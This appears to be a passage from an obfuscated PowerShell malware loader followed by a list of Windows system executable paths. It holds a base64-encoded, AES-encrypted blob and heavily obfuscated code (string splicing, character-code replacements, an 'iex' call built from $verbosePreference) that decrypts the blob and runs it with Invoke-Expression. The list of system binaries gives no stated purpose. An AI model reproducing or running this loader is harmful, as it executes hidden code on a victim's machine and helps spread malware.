cv/4N2ew+y2xhayj7WNIs9CwGBIpv5WyKwc2WwMSm15E/Q0FIVV079eGLQZ5zT9c36kriUQtLMKwm/XqsZZOJ8yoXtr1WIG4DYjevVCE04Y91oXiMgIvmBrLNYjFVF63b20jnRoNOAsa0cleimMV4rca9PaoxA015MRIfXuxoEW0mlOBGfp2SJR5T555CZsyecbKejwhlHrKm1Ke4h9qflRn+Rc9pEinfGjCvI+F5Md2QKTQmi5ZlDk3WAnL2X+9+hYNMp4dc1j6gEeVBCHmnSE92wxQL2LmgDVkq7pfY3ggKxwUr7LajvylgkdB5u2oA0hEMcRmcszoSNx01RdJBPea816PQMD6A9w36sLm5CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe